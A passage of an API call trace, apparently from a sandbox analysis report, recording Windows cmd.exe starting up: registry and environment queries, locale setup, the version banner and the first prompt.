	[0161.854] VirtualQuery (in: lpAddress=0xd7226a0000, lpBuffer=0xd72279fcf0, dwLength=0x30 | out: lpBuffer=0xd72279fcf0*(BaseAddress=0xd7226a0000, AllocationBase=0xd7226a0000, AllocationProtect=0x4, __alignment1=0xffffaf8d, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0161.854] VirtualQuery (in: lpAddress=0xd7226a1000, lpBuffer=0xd72279fcf0, dwLength=0x30 | out: lpBuffer=0xd72279fcf0*(BaseAddress=0xd7226a1000, AllocationBase=0xd7226a0000, AllocationProtect=0x4, __alignment1=0xffffaf8d, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0161.855] VirtualQuery (in: lpAddress=0xd7226a4000, lpBuffer=0xd72279fcf0, dwLength=0x30 | out: lpBuffer=0xd72279fcf0*(BaseAddress=0xd7226a4000, AllocationBase=0xd7226a0000, AllocationProtect=0x4, __alignment1=0xffffaf8d, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0161.855] VirtualQuery (in: lpAddress=0xd7227a0000, lpBuffer=0xd72279fcf0, dwLength=0x30 | out: lpBuffer=0xd72279fcf0*(BaseAddress=0xd7227a0000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffffaf8d, RegionSize=0x60000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30
	[0161.855] GetConsoleOutputCP () returned 0x1b5
	[0161.879] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff640c9fbb0 | out: lpCPInfo=0x7ff640c9fbb0) returned 1
	[0161.879] SetConsoleCtrlHandler (HandlerRoutine=0x7ff640c88150, Add=1) returned 1
	[0161.879] _get_osfhandle (_FileHandle=1) returned 0x254
	[0161.879] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff640c9fc04 | out: lpMode=0x7ff640c9fc04) returned 0
	[0161.879] _get_osfhandle (_FileHandle=0) returned 0x248
	[0161.879] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff640c9fc00 | out: lpMode=0x7ff640c9fc00) returned 0
	[0161.879] _get_osfhandle (_FileHandle=1) returned 0x254
	[0161.879] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0161.879] _get_osfhandle (_FileHandle=1) returned 0x254
	[0161.879] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff640c9fc08 | out: lpMode=0x7ff640c9fc08) returned 0
	[0161.879] _get_osfhandle (_FileHandle=0) returned 0x248
	[0161.879] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff640c9fc0c | out: lpMode=0x7ff640c9fc0c) returned 0
	[0161.879] GetEnvironmentStringsW () returned 0x21a42455a40*
	[0161.880] GetProcessHeap () returned 0x21a42450000
	[0161.880] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0xab6) returned 0x21a42456500
	[0161.880] FreeEnvironmentStringsA (penv="=") returned 1
	[0161.880] GetProcessHeap () returned 0x21a42450000
	[0161.880] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0x8) returned 0x21a42455a40
	[0161.880] GetEnvironmentStringsW () returned 0x21a42456fd0*
	[0161.880] GetProcessHeap () returned 0x21a42450000
	[0161.880] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0xab6) returned 0x21a42457a90
	[0161.880] FreeEnvironmentStringsA (penv="=") returned 1
	[0161.880] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xd72279ec38 | out: phkResult=0xd72279ec38*=0x7c) returned 0x0
	[0161.880] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xd72279ec30, lpData=0xd72279ec50, lpcbData=0xd72279ec34*=0x1000 | out: lpType=0xd72279ec30*=0x0, lpData=0xd72279ec50*=0x4, lpcbData=0xd72279ec34*=0x1000) returned 0x2
	[0161.880] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xd72279ec30, lpData=0xd72279ec50, lpcbData=0xd72279ec34*=0x1000 | out: lpType=0xd72279ec30*=0x4, lpData=0xd72279ec50*=0x1, lpcbData=0xd72279ec34*=0x4) returned 0x0
	[0161.880] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xd72279ec30, lpData=0xd72279ec50, lpcbData=0xd72279ec34*=0x1000 | out: lpType=0xd72279ec30*=0x0, lpData=0xd72279ec50*=0x1, lpcbData=0xd72279ec34*=0x1000) returned 0x2
	[0161.880] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xd72279ec30, lpData=0xd72279ec50, lpcbData=0xd72279ec34*=0x1000 | out: lpType=0xd72279ec30*=0x4, lpData=0xd72279ec50*=0x0, lpcbData=0xd72279ec34*=0x4) returned 0x0
	[0161.880] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xd72279ec30, lpData=0xd72279ec50, lpcbData=0xd72279ec34*=0x1000 | out: lpType=0xd72279ec30*=0x4, lpData=0xd72279ec50*=0x40, lpcbData=0xd72279ec34*=0x4) returned 0x0
	[0161.881] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xd72279ec30, lpData=0xd72279ec50, lpcbData=0xd72279ec34*=0x1000 | out: lpType=0xd72279ec30*=0x4, lpData=0xd72279ec50*=0x40, lpcbData=0xd72279ec34*=0x4) returned 0x0
	[0161.881] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xd72279ec30, lpData=0xd72279ec50, lpcbData=0xd72279ec34*=0x1000 | out: lpType=0xd72279ec30*=0x0, lpData=0xd72279ec50*=0x40, lpcbData=0xd72279ec34*=0x1000) returned 0x2
	[0161.881] RegCloseKey (hKey=0x7c) returned 0x0
	[0161.881] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xd72279ec38 | out: phkResult=0xd72279ec38*=0x7c) returned 0x0
	[0161.881] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xd72279ec30, lpData=0xd72279ec50, lpcbData=0xd72279ec34*=0x1000 | out: lpType=0xd72279ec30*=0x0, lpData=0xd72279ec50*=0x40, lpcbData=0xd72279ec34*=0x1000) returned 0x2
	[0161.881] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xd72279ec30, lpData=0xd72279ec50, lpcbData=0xd72279ec34*=0x1000 | out: lpType=0xd72279ec30*=0x4, lpData=0xd72279ec50*=0x1, lpcbData=0xd72279ec34*=0x4) returned 0x0
	[0161.881] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xd72279ec30, lpData=0xd72279ec50, lpcbData=0xd72279ec34*=0x1000 | out: lpType=0xd72279ec30*=0x0, lpData=0xd72279ec50*=0x1, lpcbData=0xd72279ec34*=0x1000) returned 0x2
	[0161.881] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xd72279ec30, lpData=0xd72279ec50, lpcbData=0xd72279ec34*=0x1000 | out: lpType=0xd72279ec30*=0x4, lpData=0xd72279ec50*=0x0, lpcbData=0xd72279ec34*=0x4) returned 0x0
	[0161.881] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xd72279ec30, lpData=0xd72279ec50, lpcbData=0xd72279ec34*=0x1000 | out: lpType=0xd72279ec30*=0x4, lpData=0xd72279ec50*=0x9, lpcbData=0xd72279ec34*=0x4) returned 0x0
	[0161.881] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xd72279ec30, lpData=0xd72279ec50, lpcbData=0xd72279ec34*=0x1000 | out: lpType=0xd72279ec30*=0x4, lpData=0xd72279ec50*=0x9, lpcbData=0xd72279ec34*=0x4) returned 0x0
	[0161.881] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xd72279ec30, lpData=0xd72279ec50, lpcbData=0xd72279ec34*=0x1000 | out: lpType=0xd72279ec30*=0x0, lpData=0xd72279ec50*=0x9, lpcbData=0xd72279ec34*=0x1000) returned 0x2
	[0161.881] RegCloseKey (hKey=0x7c) returned 0x0
	[0161.881] time (in: timer=0x0 | out: timer=0x0) returned 0x5e449b60
	[0161.881] srand (_Seed=0x5e449b60) 
	[0161.881] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\""
	[0161.881] malloc (_Size=0x4000) returned 0x21a427d5530
	[0161.881] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\""
	[0161.882] malloc (_Size=0xffce) returned 0x21a42620080
	[0161.882] ??_V@YAXPEAX@Z () returned 0x21a42620080
	[0161.882] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x21a42620080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0161.883] malloc (_Size=0xffce) returned 0x21a42630060
	[0161.883] ??_V@YAXPEAX@Z () returned 0x21a42630060
	[0161.883] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x21a42630060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0161.884] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff640c9bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc
	[0161.884] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff640c9bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0161.884] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff640c9bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0161.884] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0161.884] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0161.884] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0161.884] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0161.884] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0161.884] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0161.884] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0161.884] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0161.884] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0161.884] GetProcessHeap () returned 0x21a42450000
	[0161.884] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a42456500) returned 1
	[0161.884] GetEnvironmentStringsW () returned 0x21a42455a60*
	[0161.884] GetProcessHeap () returned 0x21a42450000
	[0161.884] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0xace) returned 0x21a42456540
	[0161.884] FreeEnvironmentStringsA (penv="=") returned 1
	[0161.884] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff640c9bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0161.884] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff640c9bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0161.884] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0161.884] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0161.884] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0161.884] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0161.884] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0161.885] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0161.885] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0161.885] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0161.885] malloc (_Size=0xffce) returned 0x21a42640040
	[0161.885] ??_V@YAXPEAX@Z () returned 0x21a42640040
	[0161.885] GetProcessHeap () returned 0x21a42450000
	[0161.885] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0x38) returned 0x21a42458580
	[0161.885] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x21a42640040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0161.886] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x21a42640040, lpFilePart=0xd72279f7b0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xd72279f7b0*="system32") returned 0x13
	[0161.886] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0161.886] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0xd72279f4e0 | out: lpFindFileData=0xd72279f4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x21a424585c0
	[0161.886] FindClose (in: hFindFile=0x21a424585c0 | out: hFindFile=0x21a424585c0) returned 1
	[0161.886] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0xd72279f4e0 | out: lpFindFileData=0xd72279f4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x310f98bc, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x310f98bc, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0x21a424585c0
	[0161.887] FindClose (in: hFindFile=0x21a424585c0 | out: hFindFile=0x21a424585c0) returned 1
	[0161.887] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0161.887] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1
	[0161.887] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1
	[0161.887] GetProcessHeap () returned 0x21a42450000
	[0161.887] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a42456540) returned 1
	[0161.887] GetEnvironmentStringsW () returned 0x21a42455a60*
	[0161.887] GetProcessHeap () returned 0x21a42450000
	[0161.887] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0xafe) returned 0x21a42456570
	[0161.887] FreeEnvironmentStringsA (penv="=") returned 1
	[0161.887] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x21a42620080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0161.887] GetProcessHeap () returned 0x21a42450000
	[0161.887] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a42458580) returned 1
	[0161.887] ??_V@YAXPEAX@Z () returned 0x1
	[0161.887] ??_V@YAXPEAX@Z () returned 0x1
	[0161.887] GetProcessHeap () returned 0x21a42450000
	[0161.887] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0x4016) returned 0x21a42458580
	[0161.888] GetProcessHeap () returned 0x21a42450000
	[0161.888] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a42458580) returned 1
	[0161.888] GetConsoleOutputCP () returned 0x1b5
	[0161.893] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff640c9fbb0 | out: lpCPInfo=0x7ff640c9fbb0) returned 1
	[0161.893] GetUserDefaultLCID () returned 0x409
	[0161.894] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff640c9bb78, cchData=8 | out: lpLCData=":") returned 2
	[0161.894] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xd72279fb70, cchData=128 | out: lpLCData="0") returned 2
	[0161.894] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xd72279fb70, cchData=128 | out: lpLCData="0") returned 2
	[0161.894] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xd72279fb70, cchData=128 | out: lpLCData="1") returned 2
	[0161.894] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff640c9bb68, cchData=8 | out: lpLCData="/") returned 2
	[0161.894] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff640c9bb00, cchData=32 | out: lpLCData="Mon") returned 4
	[0161.894] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff640c9bac0, cchData=32 | out: lpLCData="Tue") returned 4
	[0161.894] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff640c9ba80, cchData=32 | out: lpLCData="Wed") returned 4
	[0161.894] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff640c9ba40, cchData=32 | out: lpLCData="Thu") returned 4
	[0161.894] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff640c9ba00, cchData=32 | out: lpLCData="Fri") returned 4
	[0161.894] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff640c9b9c0, cchData=32 | out: lpLCData="Sat") returned 4
	[0161.894] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff640c9b980, cchData=32 | out: lpLCData="Sun") returned 4
	[0161.894] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff640c9bb58, cchData=8 | out: lpLCData=".") returned 2
	[0161.894] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff640c9bb40, cchData=8 | out: lpLCData=",") returned 2
	[0161.894] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0161.896] GetProcessHeap () returned 0x21a42450000
	[0161.896] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x0, Size=0x20c) returned 0x21a424570f0
	[0161.896] GetConsoleTitleW (in: lpConsoleTitle=0x21a424570f0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0161.897] _get_osfhandle (_FileHandle=1) returned 0x254
	[0161.898] GetFileType (hFile=0x254) returned 0x3
	[0161.964] ApiSetQueryApiSetPresence () returned 0x0
	[0161.964] ResolveDelayLoadedAPI () returned 0x7ff84c77d990
	[0162.003] BrandingFormatString () returned 0x21a424575e0
	[0162.041] GetVersion () returned 0x3ad7000a
	[0162.041] _vsnwprintf (in: _Buffer=0xd72279fcd0, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0xd72279fc68 | out: _Buffer="10.0.15063") returned 10
	[0162.041] _get_osfhandle (_FileHandle=1) returned 0x254
	[0162.041] GetFileType (hFile=0x254) returned 0x3
	[0162.041] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff640ca7f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e
	[0162.042] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff640ca7f60, nSize=0x2000, Arguments=0xd72279fc70 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26
	[0162.042] _get_osfhandle (_FileHandle=1) returned 0x254
	[0162.042] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39
	[0162.042] WriteFile (in: hFile=0x254, lpBuffer=0x7ff640c99970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0xd72279fbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesWritten=0xd72279fbc8*=0x26, lpOverlapped=0x0) returned 1
	[0162.042] _vsnwprintf (in: _Buffer=0x7ff640ca7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xd72279fc98 | out: _Buffer="\r\n") returned 2
	[0162.042] _get_osfhandle (_FileHandle=1) returned 0x254
	[0162.042] GetFileType (hFile=0x254) returned 0x3
	[0162.042] _get_osfhandle (_FileHandle=1) returned 0x254
	[0162.042] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0162.042] WriteFile (in: hFile=0x254, lpBuffer=0x7ff640c99970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xd72279fc68, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesWritten=0xd72279fc68*=0x2, lpOverlapped=0x0) returned 1
	[0162.042] _vsnwprintf (in: _Buffer=0x7ff640ca7f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0xd72279fc98 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52
	[0162.042] _get_osfhandle (_FileHandle=1) returned 0x254
	[0162.042] GetFileType (hFile=0x254) returned 0x3
	[0162.042] _get_osfhandle (_FileHandle=1) returned 0x254
	[0162.042] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53
	[0162.042] WriteFile (in: hFile=0x254, lpBuffer=0x7ff640c99970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xd72279fc68, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesWritten=0xd72279fc68*=0x34, lpOverlapped=0x0) returned 1
	[0162.042] _vsnwprintf (in: _Buffer=0x7ff640ca7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xd72279fc98 | out: _Buffer="\r\n") returned 2
	[0162.042] _get_osfhandle (_FileHandle=1) returned 0x254
	[0162.042] GetFileType (hFile=0x254) returned 0x3
	[0162.042] _get_osfhandle (_FileHandle=1) returned 0x254
	[0162.043] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0162.043] WriteFile (in: hFile=0x254, lpBuffer=0x7ff640c99970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xd72279fc68, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesWritten=0xd72279fc68*=0x2, lpOverlapped=0x0) returned 1
	[0162.043] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff8558d0000
	[0162.043] GetProcAddress (hModule=0x7ff8558d0000, lpProcName="CopyFileExW") returned 0x7ff8558ee830
	[0162.043] GetProcAddress (hModule=0x7ff8558d0000, lpProcName="IsDebuggerPresent") returned 0x7ff8558ee300
	[0162.043] GetProcAddress (hModule=0x7ff8558d0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff854630a40
	[0162.043] ??_V@YAXPEAX@Z () returned 0x1
	[0162.044] _get_osfhandle (_FileHandle=0) returned 0x248
	[0162.044] GetFileType (hFile=0x248) returned 0x3
	[0162.044] _setmode (_FileHandle=0, _Mode=32768) returned 16384
	[0162.044] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0xd72279fad8 | out: TokenHandle=0xd72279fad8*=0x0) returned 0xc000007c
	[0162.044] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0xd72279fad8 | out: TokenHandle=0xd72279fad8*=0x98) returned 0x0
	[0162.044] NtQueryInformationToken (in: TokenHandle=0x98, TokenInformationClass=0x12, TokenInformation=0xd72279fa88, TokenInformationLength=0x4, ReturnLength=0xd72279fa90 | out: TokenInformation=0xd72279fa88, ReturnLength=0xd72279fa90) returned 0x0
	[0162.070] NtQueryInformationToken (in: TokenHandle=0x98, TokenInformationClass=0x1a, TokenInformation=0xd72279fa90, TokenInformationLength=0x4, ReturnLength=0xd72279fa88 | out: TokenInformation=0xd72279fa90, ReturnLength=0xd72279fa88) returned 0x0
	[0162.070] NtClose (Handle=0x98) returned 0x0
	[0162.098] _vsnwprintf (in: _Buffer=0x7ff640ca7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xd72279f918 | out: _Buffer="\r\n") returned 2
	[0162.098] _get_osfhandle (_FileHandle=1) returned 0x254
	[0162.098] GetFileType (hFile=0x254) returned 0x3
	[0162.098] _get_osfhandle (_FileHandle=1) returned 0x254
	[0162.098] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0162.098] WriteFile (in: hFile=0x254, lpBuffer=0x7ff640c99970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xd72279f8e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesWritten=0xd72279f8e8*=0x2, lpOverlapped=0x0) returned 1
	[0162.098] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff640c9bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0162.098] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x21a42620080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0162.098] malloc (_Size=0x107ce) returned 0x21a42630060
	[0162.099] _vsnwprintf (in: _Buffer=0x21a42630060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xd72279f928 | out: _Buffer="C:\\WINDOWS\\system32") returned 19
	[0162.099] _vsnwprintf (in: _Buffer=0x21a42630086, _BufferCount=0x83d2, _Format="%c", _ArgList=0xd72279f928 | out: _Buffer=">") returned 1
	[0162.099] _get_osfhandle (_FileHandle=1) returned 0x254
	[0162.099] GetFileType (hFile=0x254) returned 0x3
	[0162.099] _get_osfhandle (_FileHandle=1) returned 0x254
	[0162.099] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21
	[0162.099] WriteFile (in: hFile=0x254, lpBuffer=0x7ff640c99970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0xd72279f918, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesWritten=0xd72279f918*=0x14, lpOverlapped=0x0) returned 1
	[0162.099] _get_osfhandle (_FileHandle=0) returned 0x248
	[0162.099] GetFileType (hFile=0x248) returned 0x3
	[0162.099] _get_osfhandle (_FileHandle=0) returned 0x248
	[0162.099] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
